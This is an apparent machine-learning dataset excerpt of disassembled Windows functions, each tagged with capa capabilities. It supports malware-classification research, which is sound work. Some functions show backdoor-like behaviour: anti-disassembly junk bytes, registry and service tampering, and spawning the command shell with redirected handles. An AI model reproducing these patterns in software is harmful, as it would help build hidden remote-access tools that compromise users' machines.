joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000d350
Capabilities:
Query service configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x1c], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000d36a
sub dword [edx], ebp
sub ebx, dword [eax + 0x68]
inc dword [ecx]
str word [ebx - 0x3f7cf3bb]
adc byte [eax - 0x75], dl
dec ebp
or byte [ecx - 1], dl
adc eax, sym.imp.ADVAPI32.dll_OpenServiceA
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
add eax, 0x10
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000d38f
jmp 0x1000d4b7
mov dword [ebp - 8], 0
push 0x2000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov ecx, 0x800
xor eax, eax
mov edi, dword [ebp - 0x10]
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 8]
push ecx
push 0x2000
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
je 0x1000d49b
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 8]
mov dword [ecx + 8], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
mov dword [ecx], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 4]
mov dword [ecx + 4], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x14]
mov dword [ecx + 0xc], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp + 0xc]
add eax, 0x448
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x18]
push edx
mov eax, dword [ebp + 0xc]
add eax, 0x848
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp + 0xc]
add eax, 0x648
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x1c]
push edx
mov eax, dword [ebp + 0xc]
add eax, 0xc48
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp + 0xc]
add ecx, 0x10
push ecx
push str.SYSTEMControlSet001Services_s
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [ebp + 0xc]
add eax, 0x1048
push eax
push str.Description
mov ecx, dword [ebp - 0x10]
push ecx
push reloc.WS2_32.dll_bind
call fcn.1000a1e0
add esp, 0x10
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1000d550
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000d56a
sub dword [edx], ebp
sub ebx, dword [eax - 0x75]
inc ebp
invalid
pop eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0
lea edx, [ebp - 4]
push edx
push 0xf003f
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x1208]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000d5af
mov eax, dword [ebp - 0x10]
mov dword [eax + 4], 0x1b68
jmp 0x1000d60a
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x1200]
push edx
mov eax, dword [ebp - 0xc]
add eax, 0xa00
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x1204]
push edx
push 0
mov eax, dword [ebp - 0xc]
add eax, 0x800
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000d600
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
mov dword [eax + 4], 0x1b67
jmp 0x1000d60a
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000d620
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000d63a
sub dword [edx], ebp
sub ebx, dword [eax - 0x75]
inc ebp
invalid
pop eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0
lea edx, [ebp - 4]
push edx
push 0xf003f
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x1208]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000d67f
mov eax, dword [ebp - 0x10]
mov dword [eax + 4], 0x1b68
jmp 0x1000d6bc
mov ecx, dword [ebp - 0xc]
add ecx, 0x800
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000d6b2
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 4], 0x1b64
jmp 0x1000d6bc
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000d6d0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000d6ea
sub dword [edx], ebp
sub ebx, dword [eax - 0x75]
inc ebp
invalid
pop eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0
lea edx, [ebp - 4]
push edx
push 0xf003f
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x1208]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000d72f
mov eax, dword [ebp - 0x10]
mov dword [eax + 4], 0x1b68
jmp 0x1000d767
push 0x100146b0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000d75d
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
mov dword [eax + 4], 0x1b64
jmp 0x1000d767
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000db40
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000db5a
sub dword [edx], ebp
sub ebx, dword [eax - 0x75]
inc ebp
clc
pop eax
mov eax, dword [ebp - 8]
add eax, 0x124
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov ecx, dword [ebp - 8]
add ecx, 0x124
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000dba0
Capabilities:
Delete file
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x1c], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000dbba
sub dword [edx], ebp
sub ebx, dword [eax - 0x75]
inc ebp
in al, 0xc7
inc eax
or byte [eax], al
add byte [eax], al
add bh, al
inc ebp
cld
add dword [eax], eax
add byte [eax], al
pop eax
mov eax, dword [ebp - 0x1c]
mov dword [eax + 8], 0
mov dword [ebp - 4], 1
mov dword [ebp - 8], 0
push 0
push 0x80
push 3
push 0
push 1
push bind
mov ecx, dword [ebp - 0x1c]
add ecx, 0x124
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x1000dc6c
push 0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 8], eax
mov edx, dword [ebp - 0x1c]
cmp dword [edx + 8], 0
je 0x1000dc53
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 8]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
mov dword [ebp - 8], edx
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1c]
add eax, 0x124
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, dword [ebp - 0x1c]
add ecx, 0x10
call fcn.100050c0
mov dword [ebp - 4], eax
cmp dword [ebp - 8], 0
je 0x1000dca4
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000e510
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000e52a
sub dword [edx], ebp
sub ebx, dword [eax - 0x75]
inc ebp
or byte [eax + 0x68], dl
inc esi
pop ds
add byte [eax], al
pop eax
mov eax, dword [ebp + 8]
push eax
push 0x1f46
mov ecx, dword [ebp - 0xc]
add ecx, 0xb4
call fcn.10004ad0
test eax, eax
je 0x1000e561
mov ecx, dword [ebp + 8]
push ecx
push 0x1f53
mov ecx, dword [ebp - 0xc]
add ecx, 0x1c8
call fcn.10004ad0
test eax, eax
jne 0x1000e565
xor eax, eax
jmp 0x1000e5ce
mov edx, dword [ebp - 0xc]
push edx
push 0
push 0x1000dff0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
mov eax, dword [ebp - 0xc]
push eax
push 0
push 0x1000e2b0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
mov dword [ebp - 8], 0
xor ecx, ecx
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x2dc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x2e0]
mov dword [ebp - 4], edx
push 0xffffffffffffffff
push 1
lea eax, [ebp - 8]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10010130
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
push eax
xor eax, eax
xor eax, eax
je 0x10010148
sub dword [edx], ebp
sub ebx, dword [eax - 0x75]
jge 0x10010148
pop eax
mov edi, dword [ebp - 4]
add edi, 8
mov ecx, 0x18
mov esi, dword [ebp + 8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [ebp - 4]
push edx
push 0
push 0x10010050
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10010340
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1001035a
sub dword [edx], ebp
sub ebx, dword [eax - 0x39]
inc ebp
cld
add byte [eax], al
add byte [eax], al
pop eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov byte [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0x7fff00
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
ja 0x10010445
push 0
lea ecx, [ebp - 8]
push ecx
push 1
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100103aa
cmp dword [ebp - 8], 0
jne 0x100103b1
xor eax, eax
jmp 0x10010448
mov edx, dword [ebp + 8]
add edx, dword [ebp - 4]
mov al, byte [ebp - 0x14]
mov byte [edx], al
movsx ecx, byte [ebp - 0x14]
cmp ecx, 0x3e
jne 0x10010437
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 5
jb 0x10010435
mov eax, dword [ebp + 8]
add eax, dword [ebp - 4]
movsx ecx, byte [eax - 1]
cmp ecx, 0x3e
jne 0x10010435
mov edx, dword [ebp + 8]
add edx, dword [ebp - 4]
movsx eax, byte [edx - 2]
cmp eax, 0x52
jne 0x10010435
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 3]
cmp edx, 0x49
jne 0x10010435
mov eax, dword [ebp + 8]
add eax, dword [ebp - 4]
movsx ecx, byte [eax - 4]
cmp ecx, 0x44
jne 0x10010435
mov edx, dword [ebp + 8]
add edx, dword [ebp - 4]
movsx eax, byte [edx - 5]
cmp eax, 0x3c
jne 0x10010435
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
cmp ecx, 0x50
jge 0x10010435
jmp 0x1001037b
jmp 0x10010445
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
jmp 0x1001037b
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10010970
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
push ebx
push esi
push edi
mov dword [ebp - 0x15c], ecx
push eax
xor eax, eax
xor eax, eax
je 0x10010990
sub dword [edx], ebp
sub ebx, dword [eax - 0x47]
adc dword [eax], eax
add byte [eax], al
pop eax
mov ecx, 0x11
xor eax, eax
lea edi, [ebp - 0x148]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x148], 0x44
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x114], 0
mov word [ebp - 0x116], 0
mov dword [ebp - 0x11c], 0x101
mov eax, dword [ebp - 0x15c]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x110], ecx
mov edx, dword [ebp - 0x15c]
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ecx + 0x14]
mov dword [ebp - 0x108], edx
mov word [ebp - 0x118], 0
push 0x104
lea eax, [ebp - 0x104]
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x10010a26
xor eax, eax
jmp 0x10010aa2
mov edi, 0x1001465c
lea edx, [ebp - 0x104]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x158]
push eax
lea ecx, [ebp - 0x148]
push ecx
push 0
push 0
push 0x8000000
push 1
push 0
push 0
lea edx, [ebp - 0x104]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10010a8e
xor eax, eax
jmp 0x10010aa2
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
mov dword [eax + 0x24], ecx
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10010c70
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x10010c87
sub dword [edx], ebp
sub ebx, dword [eax - 0x47]
adc dword [eax + eax], eax
add byte [ebx + 0xbf0875], cl
push eax
add dword [eax], edx
pop eax
mov ecx, 0x411
mov esi, dword [ebp + 8]
mov edi, section.Share
rep movsd dword es:[edi], dword [esi]
push 0x2000000
push 1
push str.WinSta0
call dword [sym.imp.USER32.dll_OpenWindowStationA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x10010cbc
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_SetProcessWindowStation]
push 0x2000000
push 1
push 1
push str.Default
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x10010ce3
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
mov byte [ebp - 0xc], 0
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], edx
push 0xc
lea eax, [ebp - 0xc]
push eax
push 0x10015806
call fcn.1000a480
add esp, 0xc
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10010d2d
cmp dword [ebp - 4], 0
je 0x10010d2d
lea edx, [ebp - 0xc]
push edx
push 0x10015b06
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 4]
mov dword [0x10016038], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x10016034], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x10016030], eax
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x1001601c], eax
cmp dword [0x10015008], 0
je 0x10010d75
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10015606
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [0x1001500c], 0
jbe 0x10010d83
call fcn.10009070
push 0
push 0
push 0x10010c10
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
push 0
mov ecx, dword [0x1001601c]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10010e08
push 0
push 0
push 0
lea edx, [ebp - 0x30]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x10010e08
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x38], ecx
sub dword [ebp - 0x38], 0x5b6
cmp dword [ebp - 0x38], 0
je 0x10010de1
sub dword [ebp - 0x38], 3
cmp dword [ebp - 0x38], 0
je 0x10010df0
jmp 0x10010e06
mov edx, dword [0x1001601c]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
jmp 0x10010e06
mov eax, dword [0x1001601c]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, 0x100146b8
call fcn.10002da0
jmp 0x10010d95
mov ecx, 0x10014728
call fcn.10004c70
cmp dword [0x1001500c], 0
jbe 0x10010e20
call fcn.10008fd0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x1001601c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.USER32.dll_CloseDesktop]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_CloseWindowStation]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10010f20
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x10010f3a
sub dword [edx], ebp
sub ebx, dword [eax - 0x7d]
jge 0x10010f4a
pop eax
cmp dword [ebp + 0xc], 1
jne 0x10010f75
add dword [ebp + 0x34], esi
mov eax, dword [ebp + 8]
mov dword [0x10014864], eax
mov word [ebp - 0x190], 0
mov ecx, 0x63
xor eax, eax
lea edi, [ebp - 0x18e]
mov dword [ebp - 0x190], 0x63b90000
add byte [eax], al
add byte [ebx], dh
ror byte [ebp - 0x18d43], 0xff
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x190]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x101bfb9
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x1021004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x100118c
push eax
mov ebx, 0x10012d8
push ebx
mov dword [ebp - 0x41c], eax
mov edi, 0x104
lea eax, [ebp - 0x20c]
push edi
push eax
mov esi, ecx
mov dword [ebp - 0x418], 0x80004005
call fcn.0101bef9
push 0x10011a8
push dword [ebp - 0x41c]
lea eax, [ebp - 0x414]
push ebx
push edi
push eax
call fcn.0101bef9
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add esp, 0x28
lea eax, [ebp - 0x20c]
push eax
call edi
mov dword [esi + 4], eax
lea eax, [ebp - 0x414]
push eax
call edi
mov dword [esi], eax
test eax, eax
je 0x101c12b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10012c8
push eax
call edi
push 0x10012b8
push dword [esi]
mov dword [esi + 0x124], eax
call edi
push 0x10012a8
push dword [esi]
mov dword [esi + 0x228], eax
call edi
push 0x1001298
push dword [esi]
mov dword [esi + 0x128], eax
call edi
push 0x1001288
push dword [esi]
mov dword [esi + 0xe8], eax
call edi
mov ebx, 0x1001278
push ebx
push dword [esi]
mov dword [esi + 0xf4], eax
call edi
push 0x1001264
push dword [esi]
mov dword [esi + 0x4c], eax
call edi
push 0x100124c
push dword [esi]
mov dword [esi + 0x1dc], eax
call edi
push 0x1001234
push dword [esi]
mov dword [esi + 0x1e0], eax
call edi
push 0x1001220
push dword [esi]
mov dword [esi + 0x64], eax
call edi
push 0x100120c
push dword [esi]
mov dword [esi + 0x7c], eax
call edi
push 0x10011f4
push dword [esi]
mov dword [esi + 0x9c], eax
call edi
push 0x10011e4
push dword [esi]
mov dword [esi + 0xa0], eax
call edi
push 0x10011d4
push dword [esi]
mov dword [esi + 0x184], eax
call edi
push 0x10011c0
push dword [esi]
mov dword [esi + 0x140], eax
call edi
push ebx
push dword [esi]
mov dword [esi + 0xf0], eax
call edi
mov dword [esi + 0x4c], eax
mov ecx, esi
call fcn.0101be7a
pop edi
pop esi
pop ebx
test eax, eax
je 0x101c140
and dword [ebp - 0x418], 0
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x418]
xor ecx, ebp
call fcn.0101ce65
leave
ret 4

Function at 0x101c720
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.0101ce80
mov eax, dword [0x1021004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1021358]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
shl eax, 2
xor edi, edi
test eax, eax
jle 0x101c774
push 0
lea eax, [ebp - 0x1008]
push eax
push 2
push 0x10019cc
push dword [section..data]
call esi
mov eax, dword [0x1021358]
inc edi
shl eax, 2
cmp edi, eax
jl 0x101c74f
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x1004]
push 0x800
push eax
call fcn.0101c6c0
push 0
lea eax, [ebp - 0x1008]
push eax
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
lea eax, [ebp - 0x1004]
push eax
push dword [section..data]
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0101ce65
leave
ret
Function at 0x101c7c7
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.0101ce80
mov eax, dword [0x1021004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1021358]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
shl eax, 2
xor edi, edi
test eax, eax
jle 0x101c81b
push 0
lea eax, [ebp - 0x1008]
push eax
push 2
push 0x10019cc
push dword [section..data]
call esi
mov eax, dword [0x1021358]
inc edi
shl eax, 2
cmp edi, eax
jl 0x101c7f6
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x1004]
push 0x800
push eax
call fcn.0101c6c0
push 0
lea eax, [ebp - 0x1008]
push eax
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
lea eax, [ebp - 0x1004]
push eax
push dword [section..data]
call esi
push 0
lea eax, [ebp - 0x1008]
push eax
push 4
push 0x10019d0
push dword [section..data]
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0101ce65
leave
ret

Function at 0x101eb3b
Capabilities:
Check if file exists
Create directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x1021004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0x5601
push edi
push ebx
mov dword [ebp - 0x218], edi
call fcn.0101e92f
mov dword [ebp - 0x21c], eax
test eax, eax
jl 0x101ec20
push esi
mov esi, 0x5610
push esi
push edi
push ebx
call fcn.0101e9d5
inc esi
cmp esi, 0x5613
jbe 0x101eb8a
and dword [ebp - 0x214], 0
mov dword [ebp - 0x210], 0x5630
mov esi, 0x5631
push dword [ebp - 0x210]
push edi
push ebx
call fcn.0101eadf
test eax, eax
je 0x101ebc8
inc dword [ebp - 0x214]
inc dword [ebp - 0x210]
cmp dword [ebp - 0x210], esi
jbe 0x101ebb1
cmp dword [ebp - 0x214], 2
jl 0x101ec1f
lea eax, [ebp - 0x20c]
push eax
call sub.SHLWAPI.dll_PathFileExistsW
test eax, eax
jne 0x101ec01
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x101ec1f
mov edi, 0x5630
push edi
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x218]
push ebx
call fcn.0101ea2c
inc edi
cmp edi, esi
jbe 0x101ec06
pop esi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x21c]
pop edi
xor ecx, ebp
pop ebx
call fcn.0101ce65
leave
ret 8